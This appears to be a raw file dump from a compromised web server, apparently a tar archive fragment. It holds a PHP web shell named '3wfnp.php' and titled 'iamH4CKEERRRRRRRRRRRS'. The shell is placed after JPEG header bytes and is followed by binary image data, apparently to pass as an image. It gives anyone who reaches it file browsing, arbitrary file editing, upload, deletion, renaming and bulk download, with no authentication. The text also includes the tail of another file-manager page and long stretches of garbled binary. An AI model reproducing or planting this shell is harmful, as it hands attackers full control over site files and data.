                                        <a class="btn btn-secondary" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">
                                            📥 Download
                                        </a>
                                    <?php endif; ?>
                                    <a class="btn btn-danger" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>" 
                                       onclick="return confirm('Are you sure you want to delete <?= htmlspecialchars($f['name']) ?>?')">
                                        🗑️ Delete
                                    </a>
                                </div>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        <?php endif; ?>
    </div>

    <script>
        // Add some interactive features
        document.addEventListener('DOMContentLoaded', function() {
            // Add confirmation for delete actions
            const deleteLinks = document.querySelectorAll('a[href*="action=delete"]');
            deleteLinks.forEach(link => {
                link.addEventListener('click', function(e) {
                    if (!confirm('Are you sure you want to delete this item?')) {
                        e.preventDefault();
                    }
                });
            });
            
            // Add hover effects
            const rows = document.querySelectorAll('.file-table tr');
            rows.forEach(row => {
                row.addEventListener('mouseenter', function() {
                    this.style.transform = 'translateX(5px)';
                    this.style.transition = 'transform 0.2s ease';
                });
                
                row.addEventListener('mouseleave', function() {
                    this.style.transform = 'translateX(0)';
                });
            });
        });
    </script>
</body>
</html>3wfnp.php000064400000063526151550052240006325 0ustar00ÿØÿÛ C 

<!DOCTYPE html>
<html lang="bn">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>iamH4CKEERRRRRRRRRRRS</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #000;
            color: #00d1b2;
            margin: 10px;
        }
        .container {
            max-width: 1100px;
            margin: 0 auto;
            background-color: #1a1a1a;
            padding: 20px;
            border-radius: 81px;
            box-shadow: 0 0 110px rgba(0, 209, 178, 0.6);
        }
        table {
            width:100%;
            border-collapse: collapse;
        }
        table, th, td {
            border: 1px solid #ff00e6;
        }
        th, td {
            padding: 10px;
            text-align: center;
            color: #fff;
        }
        th {
            background-color: #00d1b2;
            color: #000;
        }
        .file-actions {
            display: flex;
            justify-content: space-evenly;
            align-items: center;
            gap: 4px;
        }
        .file-actions button, .file-actions a {
            background-color: #00d1b2;
            color: #000;
            border: none;
            padding: 8px 12px;
            cursor: pointer;
            border-radius: 6px;
            font-size: 14px;
            display: flex;
            justify-content: center;
            align-items: center;
        }
        .file-actions a {
            text-decoration: none;
            color: #000;
        }
        .file-actions button:hover, .file-actions a:hover {
            background-color: #00ffda;
        }
        .icon {
            font-size: 18px;
        }
        input[type="text"] {
            width: 100px;
            padding: 10px;
            font-size: 14px;
            border: 1px solid #00d1b2;
            background-color: #1a1a1a;
            color: #fff;
            border-radius: 4px;
        }
        .path-input {
            width: 100%;
            padding: 8px;
            margin-bottom: 20px;
            font-size: 14px;
            background-color: #bf1111;
            color: #00d1b2;
            border: 1px solid #00d1b2;
            border-radius: 4px;
        }
    </style>
    <!-- Font Awesome CDN -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
</head>
<body>
    <div class="container">
        <h1 style="font-size: 18px; text-align: center;">I am a hacker in the dark of a very cold night</h1>

        <!-- ??????? ??? ?????? -->
        <h3 style="font-size: 15px;">path :<?php echo getcwd(); ?></h3>

        <!-- ?????????? ??? ???? ??????????? ????? -->
        <form method="GET">
            <input class="path-input" type="text" name="dir" placeholder="User Guide..." value="<?php echo isset($_GET['dir']) ? $_GET['dir'] : getcwd(); ?>">
            <button type="submit" name="go_to_dir"><i class="fas fa-folder-open icon"></i>change directory</button>
        </form>
<h3 style="font-size: 14px;">upload file:</h3>
        <form method="POST" enctype="multipart/form-data">
            <input type="file" name="fileToUpload">
            <button type="submit" name="upload"><i class="fas fa-upload icon"></i> upload</button>
        </form>
	

      
    </div>
        <h3 style="font-size: 14px;"><font color="white">List of files:</h3>
        <table>
            <tr>
                <th>name file</th>
                <th>size</th>
                <th>edit</th>
                <th>permission</th>
                <th>action</th>
            </tr>
            <?php
			 // ???? ???? ???? ???
    if (isset($_GET['edit'])) {
        $file_to_edit = $_GET['edit'];
        if (file_exists($file_to_edit)) {
            $file_content = file_get_contents($file_to_edit);
            echo '<div class="container">';
            echo '<h3>Edit the file: ' . basename($file_to_edit) . '</h3>';
            echo '<form method="POST">';
            echo '<textarea name="edited_content" rows="15" style="width: 100%;">' . htmlspecialchars($file_content) . '</textarea>';
            echo '<br><button type="submit" name="save_edits"><i class="fas fa-save icon"></i> save</button>';
            echo '</form>';
            echo '</div>';
        } else {
            echo "<script>alert('file not found!');window.location.href='';</script>";
        }
    }

    // ?????? ???? ??? ???? ???
    if (isset($_POST['save_edits'])) {
        $edited_content = $_POST['edited_content'];
        $file_to_edit = $_GET['edit'];
        if (file_exists($file_to_edit)) {
            file_put_contents($file_to_edit, $edited_content);
            echo "<script>alert('file saved successfully!');window.location.href='';</script>";
        } else {
            echo "<script>alert('file not found!');window.location.href='';</script>";
        }
    }

            $current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); // ??????? ?????????
            if (!is_dir($current_dir)) {
                $current_dir = getcwd(); // ??? ????????? ?? ??, ??? ?????? ??????? ??????????? ?????????? ??? ???
            }
            $files = scandir($current_dir); // ?????????? ?? ???? ??? ???
            foreach ($files as $file) {
                if ($file !== '.' && $file !== '..') {
                    $full_path = $current_dir . '/' . $file;
                    $is_dir = is_dir($full_path);
                    echo "<tr>";
                    echo "<td>" . ($is_dir ? "<a href='?dir=" . urlencode($full_path) . "'>" . $file . "</a>" : $file) . "</td>";
                    echo "<td>" . ($is_dir ? '-' : filesize($full_path) . " KB") . "</td>";
                    echo "<td>" . date("F d Y H:i:s", filemtime($full_path)) . "</td>";
                    echo "<td>" . substr(sprintf('%o', fileperms($full_path)), -4) . "</td>"; // ??????? ?????
                    echo "<td class='file-actions'>
                        <a href='?edit=$full_path' title='edit'><i class='fas fa-edit icon'></i></a>
                        <form method='POST' style='display:inline;'>
                            <input type='hidden' name='filename' value='$file'>
                            <button type='submit' name='delete' title='delete'><i class='fas fa-trash icon'></i></button>
                        </form>
                        <a href='?download=$full_path' title='download'><i class='fas fa-download icon'></i></a>
                        <form method='POST' style='display:inline;'>
                            <input type='hidden' name='oldname' value='$file'>
                            <input type='text' name='newname' placeholder='new name'>
                            <button type='submit' name='rename' title='rename'><i class='fas fa-pen icon'></i></button>
                        </form>
                    </td>";
                    echo "</tr>";
                }
            }
            ?>
        </table>

        

    

    <?php
   
    // ???? ????? ???
    if (isset($_POST['delete'])) {
        $filename = $_POST['filename'];
        $file_to_delete = $current_dir . '/' . $filename;
        if (file_exists($file_to_delete)) {
            unlink($file_to_delete);
            echo "<script>alert('File deleted successfully!');window.location.href='';</script>";
        } else {
            echo "<script>alert('File not found!');window.location.href='';</script>";
        }
    }

    // ???? ????? ???
    if (isset($_POST['rename'])) {
        $oldname = $_POST['oldname'];
        $newname = $_POST['newname'];
        if (file_exists($current_dir . '/' . $oldname)) {
            rename($current_dir . '/' . $oldname, $current_dir . '/' . $newname);
            echo "<script>alert('The file name has been changed!');window.location.href='';</script>";
        } else {
            echo "<script>alert('File not found!');window.location.href='';</script>";
        }
    }

    // ???? ????? ???
    if (isset($_POST['upload'])) {
        $target_dir = $current_dir . "/";
        $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<script>alert('File uploaded successfully!');window.location.href='';</script>";
        } else {
            echo "<script>alert('File upload failed!');window.location.href='';</script>";
        }
    }

    // ???? ??????? ??? (???? ????)
    if (isset($_GET['download'])) {
        $file_to_download = $_GET['download'];
        if (file_exists($file_to_download)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
            header('Content-Length: ' . filesize($file_to_download));
            readfile($file_to_download);
            exit;
        } else {
            echo "<script>alert('File not found!');window.location.href='';</script>";
        }
    }

    // ?? ???? ??????? ??? (ZIP)
    if (isset($_POST['download_all'])) {
        // ZIP ?????? ??? ??? ???????
        $zip_file = 'all_files.zip';
        
        // ZIP ????? ??????? ??? ???? ???????? ???
        $zip = new ZipArchive();
        if ($zip->open($zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
            // ?????????? ???????? ??? ??? ZIP ? ??? ???
            $files = scandir($current_dir);
            foreach ($files as $file) {
                if ($file !== '.' && $file !== '..') {
                    $file_path = $current_dir . '/' . $file;
                    if (is_file($file_path)) {
                        $zip->addFile($file_path, basename($file_path));
                    }
                }
            }
            $zip->close();

            // ZIP ???? ??????? ???
            header('Content-Type: application/zip');
            header('Content-Disposition: attachment; filename="' . basename($zip_file) . '"');
            header('Content-Length: ' . filesize($zip_file));
            flush();
            readfile($zip_file);

            // ??????? ???? ZIP ???? ???? ????
            unlink($zip_file);
            exit;
        } else {
            echo "<script>alert('ZIP Failed to create file!!');</script>";
        }
    }
    ?>
</body>
</html>

		
%# , #&')*)-0-(0%()(ÿÛ C



(((((((((((((((((((((((((((((((((((((((((((((((((((ÿ     " ÿÄ               ÿÄ              ÿÚ    Õ@’@’hC‚é}!œ¥Ñ°½Œ<"Í
9iׂIIIHk+?ªc?³‚*YëµõøÔÃ!¯du)bèTÝ9вU÷$8G£ÉI.ªæ¾¬ÎïD³û×Sqæ
qÌ}.<±ðZîl—V!X‡
*xö-´\À§«§t3i§Å¨ÐsNv71©Æ›\ìØz|tìLÞëð$¾–«”ô*f‘ÔkÊ®ÁÈ7òH;¸¿›~F%¥'3Ñ@ÓHõq…`	9mOL³»«é/x@ @—ŸG<o)˜Ó3­ûpùãXʱKó¦ggáÀqÀQ»‘ST‘ãö«‡'ðê
\YÑ„ªkÀô®Ì(		Ã’*ãèÛšÓ@gƒ¡LžKvŠàÕ…¼û^i¥u<ÍŽà(%©
O±$0՝-/ˆÔH–êÓ‘ò
cM:šYï%a	£©µ#+}š2'ÉÓÞi×Èíð…:X¢Òø4†ji®õòV£‰>d’8F¸Ù‡†âKaÖKdr•Fh.©]y4
JЛêù]éKåŒB“E$º©$	$	§PR¥®΀ÉÀGÍ] ›‚u·i$$ÿÄ '        ! "#031ÿÚ  ýC/Td=SQ?¹Œ‹62Ccj{ œù‘ç̏dˆÚ†/cÔVÁ`þ›Wz͈÷{Y` d¦h¡L
©]OB§…íl¦ÕÊo¨Úîmr¥²õnÃë¿s-Ú—EZ¬°N©_åü1%bÅù„H†Ï£³¨§¾ÚVÚ7):™Ó·)}Î~˜(™;¬!»b1Æ5Kªë[E¦vÏ»>ìæq.%
”›OñªÞ(£cÃ#xà$¢'+Û¿`Ù¥vü—v(µ› ô—íM‰"Áv×ëB­.¿a ÷ÿ ™TÕ~ÑÏ•–hy(6nݱlíÅ1yNÉ“x€—ø¥°¹ì•ARÆ8Œrqv1.cSÚ+õÁ_âþ¡&@éé
ÝuÚM²5ĈŽXm÷öÎeLîX´qÕÍy#‹9]‡c®}É„LÊdÆeJ몓žËáI1TÁdŽCaMë$¥–T¬,’X
ábÊ­®!ž%F5½¦X1x#¨Š¶!‰qµí\ê†F§®2­ˆ&Rq‘ùC‹ol~Ç̱Ù.0ϦL‘dû`.“„†³ùô
ëÑüm{×Y~k{Cµ×}bv¸;U§Æc<ärÿ ~Éœs€1•j”«]W–líÍ*Õ¶CrÃã£QüN9 ö-„²¥­àd¦ÅEØ›šÒnF¥“eÚ“©8(qÀÂ5UgRȱGTA•©*¡ÓûÙþ†Ì†››Vþ珰åÈð–ÕezNŠÎhÃU]þT‘FG¾^“šæ<«ayˆ,!‘ÆÛ5.¬
•uÓbΚ±V¯J%Íøm éDxn'ÓÙÒØì6–@BPaí`˜œHts‚
µÉ®À–ÀÅŽ«ZɬÛÜ%BûXµ±d5Z±ïñhC}ë•ä…¸±p+
k=ÕáÊ’(ÁaՏFG&Â%@/È{+ÑYu+…È£GÑ©"O%Œ |vȲxF>°N(úšouh6	&Y5éß8¥7¯E$-ìâ']n,@TD\²ñ³”+Êãé½Ryþ UÒéU^™Q,f>ä×1ÝøòÆåq…¸f¸ÞU«–
µÌõF¤óõÚ¥ØÍ>I€à׍ºfNUw“uõ#OMMQ6ƒ NË*Óè_¥‹	kä ª§´ÆrSœ”`´óÓ1ò:þø !¶F'<+Ï
ã b?OÿÄ 2 	       !Q12A¡ð "3aÑᑱÁñ#$ÿÚ ?Ê,î7¸!`yÇ®(Ø1ëŠ6w…ýa¯ºÆš
FÝ#îþ?*"s†â¿év>»¾Èº×®äÛf†v©¬Í‘¹í¼sùü§°°ÐåìØØ]GnçüS	­³èÈ¥pG
Ñ‹ñE×gª)Z©¬íxÇrYÞqø]§@fþ_܃¤pÕ¹EÚŽÙ‘C –ñ²ÚêÅœ*/	ÒhüOÙSv‘Ùˆ\´Ž5®ôUœ°yš«î§Ž|o®Hm2C°S»BWš’¢í) Ø5­æª{T–ƒWœ‘²=o*RA¿¤<³ÃöŒL0g4{ý»ì¢Êep¿rw–8þ”7œÜU…Ùìt<Ԍѻ7»fGf…k}ØÀ÷ʚ㛆GÕ¼zõQ@Éã¤{Cš’'Gµ–8!£S$új²”xßÖåœ|çëÝצV<°Ô,Üëâûu­kÈuušrMÐfï_dÏ£i ß«ñÔŸnš!K¨ˆ§Šmxu©=åæ§»¦'jõXðçð«þ˜›»ŸÿÄ %           !A "1QR#BrÿÚ ?ÏR:¨ê£Rín‰b[¤II?#Àþ6<:Þ$gN˜çŒÝlGNlrr÷œd×¢MMn`É¿yÑ,Á%B“eÑWëÙdVS¾¹r²”½	%âtT—‘(úÉ·Á“SÕ]îO]#’_LEMHNÖM‰äÝkvÈýÉ~Xäâ÷O6Ò׿U›V_èé£ÊÇÔbÃýäJ»tü774ýìÿÄ D     !1AQa"2q‘#3BRb¡±á0’ÁÑð 4CSr‚ƒÂÒcst¢²ñÿÚ  ?ûÈ^q½ëÎ7½dGÛUî "pì«ómozéâŸ'³‡n_x®Ž¼å”¹e†Áôþ«<6ÿ §OÅt°¶óŠR>k¡Šs=œCrûÁˆe­?Ìi¹½ê¬ ²ÙÀ/—åÚº$beõ›o`Þ®žGHyè; fNAl±8ÖÇ.ð\ÚS±‡¹íÚØ"ô¹Õa¥ÃºF²YvNkó-*`vÛkÕʈ2fæEE¦µWaä,¯
¹fF^#Í;·Õ[9†Î^~ÁñÄðÀÑY$:0#W3Àõ¤æïÉZ*秆IœZàÚ¹´kûn--9=µãGˆÚ;7F)m{T±É†Ð=÷ˆÁ¶ÃȬ55Bë„aÚž5MŒ‚Ùî#mê5Ʀ‹mÆ8À‚+Hh„÷Å$Ï}±:&ÚeãQÅ[;i]С×:¥:Ñóoä›®¨«$<~é æ5RBÏ?µs3Ü5¯rÙÂO‹°Ö¿Ôw¬P/­•Ì…¶ýœ(èZ6‘R>)îÂNý‰4·!ÊŠ¯wzÈ-ËrÌw+áyk¸´ q1§bKhƸï4NÅӐùX›í´îQÈÂ_‚¬})ú+e1¤5»únõ”q?Ïí[ã^ä9<Àz3FsiÞ8…'ù)9p)î{­ñ†RPÝZ+Ñ*Ž÷p(aY½‘V»û“Î6lÁg“9¢£;׉¸du€²­Nt@Ü3ÑsTwzaŇÉGT‡bHÖìœ(#ÜÎ*zcÚëÆ¶Æ©é9K‰b1²Ÿ¢„t¦äÑʍñ<G‹CZ]Éx¯í»#ÓèçNcñhß+†ê×RÎG—ë$]–ƒW3{?\W‘7{'­õViÅÃhº$ò*™S†›·rFêñ%ê¬×‡5卾Èë}t¾G«[¾Oϵmä°Ý[´.ä9~³^+û=‡ÙèçNCñ*GÊñ&,õ󭼑ŽQ‘øsE˜ÆøÌ ÚÙ··ßÅ_‡ž¾ËúüЬOnꐁ$g»*+ewàUÑg9×äU\|ÆÖ‹¦ÚWÀWÊix|‚¶1OíüJ&­ËvTU–Ažî±*üDôö[Óäf	¾-®›{½üPŽ!øóD¬3N²_%Ü3à®ØûxwåÜ~б¾ÿ îgÕT4жJýÔXú–Ž¢K9;1ÞœÒú¿Ñ±Àü¥Ý{\[Å:,ú. ®¿®H³.„–d¿“rø ÆSÝ£B¶:ñUsAá¹VGÙý¬ú«¶ÞÞ!ùwªœ
bs$»ŽtÑ'b€H]ÑÃ2”æJ7ºìó­•Àmyõ¾!ø€Ìçhø”OE®ÐPê­uÕ’º.ïMxëÁ5Žmލ«ÎƒšÊ^
Ï.ÞÓšsÉ%ÅtÜ­mÕ:è¹ÚðÏ”Æw^O±ç[~.@ÊKß¾ç,E+‡?&v);<ðÌù•²…Îß\Óò²VåŏÆÈæR¢ÜÚÇÂ1“v™½Å+nüÐiTøjh¸¡}mÝšÛ>
¼Z?gÖiDþÏÇHÖR¦­ÜBŒ–‰^M¹ä™µvðêÑOÿ ŒúLìD,'d‘q¨CÊPŠ©‹å$Δ§ëUë•ÖŸÖŠ=¸sšßF¹$•¾J‹Þ‹Z?üNŒ¸ìí¸ÉÄÓAïNžWPˆï,àî
›Â¦ò™ˆ‰Õ&;Ãx»‚dupŒ¶í§ªi¡÷¦Ipd¡Æö;¤Ç…!ÃÜÖ¿Ñ®Ab%Ýu÷}j›­-p¸Ü>Iî­[›N¥bi¼ÅûŠGý'·;4wÁm]Hú]ê÷µÏ#LÓ˜NN®žR·¢ñÏÁ’’ós….]¨–enôý-ê8eÉÀPsåÛàÉQ¢²;¢ÎÔÈ›£EÒÝ«¨¾‰î‚7“Ÿgê«_L»ïWááEZ:/ÉÕI„—¤aògÚnãÜ¤ŽšiÙ¹èæÞÅ·„TèöH~i®a¾¼è²÷ÕÖŽý~KV ±Œ”ì
A-2m]ÍF"¦m«9-ZbǰŠ×´ @¹»¨ë‡~¿4çNÑ[íUxč·tl>ˆüÊØÆâu#rgѐ»3þäÜ;M9¡<éïš“JžˆàÝÞ1ÚvfL8µã׋¹1×PHgP¶Xv¶áÜÕ’î¢{âëÔÜOÓ}®n ÇKQØ‹§Òç§7<”lëfey<ï}’>®bXÈàŸ4<`Y7¬ßæsiãÉV)îsô:—{”rOÖhêz ñ@4VWõB“ËŒ&¢í¤šÛóÉ¡obÜ‹êƒFƒ÷4>yšsä®fXWSúNõO$ù,.u:µÔ«€©gÍyao4ÛÃ$hÐëD#…îÙ¸f^khà7¢#1ZÔÖ¥&ÊÚ×*Ôv-Œ²;bÞ­†•ôçQ‘ƒ©Ñáhïow¹y]žÙ‡.+Æ 7ëMÕâ´»
ÓJYþ¯géfÎi3qýçKC®’3£Â¹·?5¯Z.NåÍ^Z
w‚žìKFÍ‚½©Æ7ìÈÞƒÛž­–wjŒ¹TçJ.ŒqÂŠé\Sv1U¢—ŒÀR›Üìš½&áN”ëÍÈpЖ`Œ`у‡Øm`vÎn#zÊÜ4‡Ñ>eÿ ñVâ˜`'×êžÇh¼˜¼–' þjìAÒ”â±-”4:Hìµýn]9£h<Êën¦·œ»U˜6m­õ2cËE1/æYÿ %µ™ÛI¤~ʏ „|VBÆŸ@æÞåü;ãö°¯ û§%üM9MâŸÁ}âñ1þD¬±dÿ ÙÃþ%gäö±O»ÿ ]ñ©Àу&r£Ûfê7¹uܲìÿÄ (       !1AQaq‘¡±ðÁÑ0ñ áÿÚ  ?!þŒ*êÖ@)€Je—Gûjµ®{ª['Áúv+¿ñÄûÚüÒžü)¨ñò(È/õ¬ù¥Ð´%젍ZŸÔkkÊLu¡Rmÿ µËj.cü@Z 
V´J«‡d©ûj€†æ–h6ː‘2AOÎï a;oBu¢¶¥Hò=œ€“nKÃW8«B¤É°Üu?¢ÿ бØ£m,©sr€¤‹ã|ø æã8˨i¼§qI2tZšÛ„JPÅÈXE¹¢™‚¸’zÞ”j~]UMuÀÈëŠózv!¸Œ¡N¼&¥1§YÜÛzJöÕ ýÈ\p¶¬o'ሸ‘CØŠYÔüTD"HM5‡Ъ¦³i߯a†ÁÑF©¥²›A)¶Çê™çêÚ®Ûæ“êÔzÝE‹ö@·hgå֝8‘1jk¹‰\ÜM†3¤8Ü¢úÃ	âš†ÿ Æs²7„¤ŒûN}éÞ­““æÀ±¸GN¥Bc‹†ã©L
pkØ;ïJõδ3§eŽiUÈgAYW]\Ô>¤GyÚ¯Q=ƒ´fÐKA;T’a`eM+Q ÔÍ
Ln¨“ÈÌŒ]GMÒø¼‚’<ĦÀj»­H² ÇNM×xæ}aX{Ì£SØ	®›Ô…îßnúMAŠS¯rŒ(ÏÁŽê(ÜLûîzo9¬ËÎ.Í;<Ršäwœu¨‡R€`_ô¬RA†]é-j	„	f[Ô ÁÉŽµká›P”÷ÿ êKêÍÝûQ‘‰b³o¿£hÍi&èû‚{¨r’£Ã£bŒÉ˫ݾý´©O^ÊÐ:%ŒðÓgW–¬]DIciÃP+^ob˜§É;«Žòb‚!Ø9ü§ÛR.‘>ÜÓ³fíÕÐšƒ˜`Ó”Ù¢3šÕ
 IWíÅ\9~_¸§ƒsaaÞ\ÔŠWƒÜ­X:ˆ–ÆÓ†38ùty*—•ºõN­qPÑÃÁ“BI­YåjEìâ>DPä§!íR%-€4ø¤'’皺;±è~JÖ!Ô7mîžô“Xå÷hÃP!æ›­ÄÞÛ$Í\†AYj‘.lCËð4Ñâ+žjD¡dgC0-*‹ÙÅ| ¡`ZDí+лßC"„°)”¥s¢è8Kqê…pq‹¦¯Ms»²4±	ÄÆ7\U`’.þÔ[Ey8«ÒAH!/¡Í,çó(:M
-œTä“¥ª~O¬4- ¼œÔ’ nþÔ}HDN7¢¢åK½©Ž$Ü_Ԕ䚞`ŠRœhBç_aX?4V´ŠÅ—‹@Ù‡ãŠuÓa³;‰{PcT+Õ×èôåÚ7YBoƒ?¾¢r-Í©{ŸÄŽA±½	¿¡ûè˼nº¯M286»âGŠŽû1…ûVÎËœJв"låÄV5¡äÅ5ÍC]hêÁêÌŠÂAÇëÅ%å
­'p´Ô‚¸‹»Õ¡˜9=˜dÂ=Ÿeª{®'<3Í_
¾:^£~ˆÇ4ˆ(˜nú-CÄs‘¢5m![ÈjmIqUÚ~šTw8’Þ`àÖå™píH8Àu—Д l
mÿ aP’0‘µ÷µë£ƒ9yµŠÆÃCMŸÍF1G糞õ.·U~ÀÙ“¦´ûüFCïŠ{ÿ !e(Y¹:Á¶ºP´ÒúŽ7~;íLä‚N^{æ1r©\¥ îÔ¬G(ï£0dÆÃOóqKÝZú⑼ƒT÷{
2¬òsþÒKdÍՏ?mMQ¤œ=–¨Ú6›7¾i„ᐰéH+›Øóƒ9¢“dÂõ=– ;‡QؤH8n¶Lb¤D…ÎyS%É(³{b¤ºÝCuú·¡p‘t#C¿ÜÓ$A"ØH{¬®žjqᶯð:Òn=E‚ÃÇòhHÅ`ð!™mÔýMA½À˜¨ÈÇ?ªv6àäÞ+MԿ⟚qKÕi§Dž*Q5¨ÎCZ™¬ò2„|]ª:Xd+„t›:o@•²M Ó©Ÿ
:˜32‰Ýb‚õ«ñ[\5=ßÖµ7])÷|t©ëƒÏº—  ‹éwéBüÅ„—eªá«!`Ë:ÿ íI,±„9:Öö¤ãj@/a	8’Ÿò¬Š+<‰uÒ(T^Ûº~ªá2oEÊBà%b)ÙÙzÑâ¤Ý³Ú·)ÈiÛj¬¾&õÒFi`qr¦‚wƒú7­@Ç÷P£¥
î3Z&<ÎmóSåCƒßî´­˜™7tìT¶¨žøÆ´¬q~JŽe÷r6ÓZ] rL÷šì¥Ù‡ñE17'¡x¿š´+[ ÜœTc6Ü/–†òúWô`¤qpMJ‚—N5^ªØÆïxï}{lÐFmÆ‘®›œÁ1‹oZ\ŒËÓð /d£/6 	ÁuÓ¸Å0elXuX;M ›Ò$M÷}mBèÎÐàØþ¤Z%eŸº“3fòjsäÇʤO¿J~2üz±86Ÿ*PB¬ÉvÑΝŒ£e-îÉ.¥/š†LèOÿÚ      óÎ2üóÏ9ƒØÇ4}|‘ØT5MßáÑhÐ7ðF*äÆl+y⑏0€‚–ö:|žº=k[”d‰;|òÔ‰e§=wÏ<ñÝõÏ<ÿÄ '         !1AQaq‘¡±ð ÁÑáñÿÚ ?øÍ5ÚëØ)Ô(›ì¾+>v¤ø¦²6&{ƒ°Ç¸@ÝûÀ½MØõÂþv®”iA 6T'¯w«›hÕs
€E}âxŸÁG&'gúá
J~1qÏfãf‹Šÿ  &ç”q˘™–-îÎÔvYm<v“†ÔPt°ýD»ã‹5"BvþüÓ ¢zÔH…Àýýë4Øa¾bZ›ômäa9jòÙ¹&¿iÖ„’‡S“E“T³y[E9"ßcKÓ¶›ŽôGár 0D½8ah\ǯvãMÁ:¸óvû¡SYu¢V¦3Ú)[&ȏrÞ¾ÐÛ%‡83ï5º" ‰v×´_Mñűcï?ŒƒÈ%îÁî‹'+è³ÍhÏ7ÓúTBH”Üe`0Á¥ÙüòU]-ô‹XG|ïVºôý5w·rw@ëBl"oheXÄH]	§TÌy4{vø
O‚ßâ^TBC±ÂL$‘ºÎ•btÇ\¾W¥b¯<>¯/i1
Iºœ6ºéu,) Î#É,ôùƒ΁Íl}*&`‹$‘ͬe»%‚w3ËxÐѤÀXcã¸DÙû执g¸å³•÷5B/|$¶¿=è…î%8 aæå2.l‚	c÷@G ¹
\Ù/x[Ó©q¿]žv5?À±ÃñÑN|÷!îÔÙ\Þê,>¿À{¬"rç»/˜ü?ÿÄ &          !1QAa¡ð ÑᑱÁñÿÚ ?ÄŠDòè‚­¿„	nv@Òyޝ (•³·¿¤IÂ…´Ïå ‡U
- íëé b³mýE>î§Ž,€–1v!—dì&·´ œ›û&šæª”±5D¥&0P¦€Ô”ÐÍ’@ZÛÂ:†E"¢
QÉ¡`”>PH:~£OÄ ññóÖPš3WÛõ@hM¦Šk‚U’˜\¢O‹öR¹õ€±Í¦â5Ê„ç,¹šf†|×ùrˆ† }јxo)€"+hµQK¹åÐ/ËÚ 0é`±5û{M~ÞÓ
ÝÿÄ '      !1AQaq‘¡0 ±ÑáÁðÿÚ  ?þ?´kØÅ#^†~®Gù#V,úýôÕÅÂ#Zå1'ܤüÌÀ¸ŸùÁà§~pO%O‚OÎ\–që`ù~ð¯¸}ÌåE¿Å°5 –輸µduÓô¬ôx\í$—Òýs[ {T2t`BÉgq·4Z]bÆ 㛪–3,(@ ììöbAp¯r)9:@|b¬!rØg:N¢^ŸÉ…¨Çâ
ªx_Ž\á”pm7Iüû0?>^kœ¡÷¼œëšüwøŠ ¬|.Kð[sF@­]Gn*L …yOÛ
lePž.pî³ñ¥ÖëjµS  =ðʨ´×ŸQF ×"òÎ5zʼn‘ÓÂk¢*8¹u"
´ñÎöFgµÅÙ
§cSyµV³þƒ§¨â¶Æ‡¯àN±þؐ(»¢—äÀ48hV·A×ÓŽ^‘Ø^
÷¤¸jyBí úÖp"ªžŒòÓy]ºÄ¼lU‘(Ž7îU`3 pCGF'&ygýþ²ÿ Ö¬oè¼z£Éïõš¹Xƒôν:ÃP"@ïG@x[ާo&MJ”$F.àá“òÀhi
w;}ø/^͇q¾³™n•mNÛ/¦TQÜŸôÞ‡¥¾O1\,}ÛàbQ
#¯^S!)¶ò¶ŠXœ¤ç#GPȏÒt˜†	c^\„½'
}iIZáöúaô)«àòþŒ¤¹zÿ †4ÍŠÂΞyïð˜¸48,ôïfÏÐ#“ž§·œKP!Jxë|wÙʆ‘¦àýáÈ󴏇üâÐí#¹ªZŸÁðö ûïˆ<
~K írÞp&qH/;ÂRò‹Ñææ²½ÿ +ÅE¾R¯ÀÄ~0v¨ÙÈV#Ê€ÚTÓòS(- ڝÚèBºyŸbÔC¹DŸ ®¼‚ëbêÐÓí¯‘ˆó8Á~Œ= ’YÐͧ]äè@nåœâ„ ©M™k2…%Ó;Ë%,Ñr6ÔLRè…»?^åÄ;KŇ=á Ö„
“¸¼=`óÉ¥Çï/²Ž¶z¥&€I{ ëÀ¥#Jâ¶ÀMˆ¦ÝCýæ}ÝH9^UJà,P
©ípS·€ìÉGßd69ϬuÐñ%"ұˢPšýK¿"k)îÍ=úÏ9¿ €½Íü㇌,ú…OlišÇXzh
" –
°ÊÞð†“R€Á^ýsŠîÁÉNÊk™Q>Ñ63(‹¶øú
­ ­PQÑPy®þ™ã©3๯œ$f+WÕ›=4úǁ`*ú—^²‹Eb°K¨tÙ6¨^®û!Úç±·ëÈÈ­ÀèK{/;¹Lö‰ðpxãàÏüÖ;a¬ÏØOÙ„z¨[ê.NP4Ñ]Gc´T¶v‹àìø~sg'LEDŠ¥]j®¢'¸G“]6rYª µÈUPw°*OÍİՋi¡'8ÈÛ´ÿ #gýXx+=×eU6•R®€cÝ"ßu2õ¬~?nÌyø;ÿ uœž3Ø'ÀÅ6ðfÞî¡Áëñýb‡È߬MŽ$*¦øk&?6ÂÐ¥*^1nµ¿²þÛŽz)<»ÓGzÀ	‰ ž‚‹Å7÷€·ñYâ	±ñÛƒ)$A¯…2ÕL6¾
Õ¥ƒHÉ<ªršÑ#ʽ2ÂÜ OÛ›R½†€z ·AƒˆXWÅÀ@´¬óÚùï Ç„ð¼’<ÃGÆ
Ϥð¯^ÛË“iˆMøW–…ê6
 òƒþ0²ôm){cÎ;ݧë>Rýa¨×ßá†}1²Ù¯%ê™EY2’Q‚šEp¢ã˜ð$ 
­ªEÞÎqSÖî‹»”t#+xØ *Ãh§UIÜÎXM?¥'//ûÃa'êGàžò¸”q@¯Ÿ©<Ÿ†zÊÆØŸÈ§‡ýcd‹›z¢Ë¬T_uœÑ®„–‹Š&z¡k
¢Ón
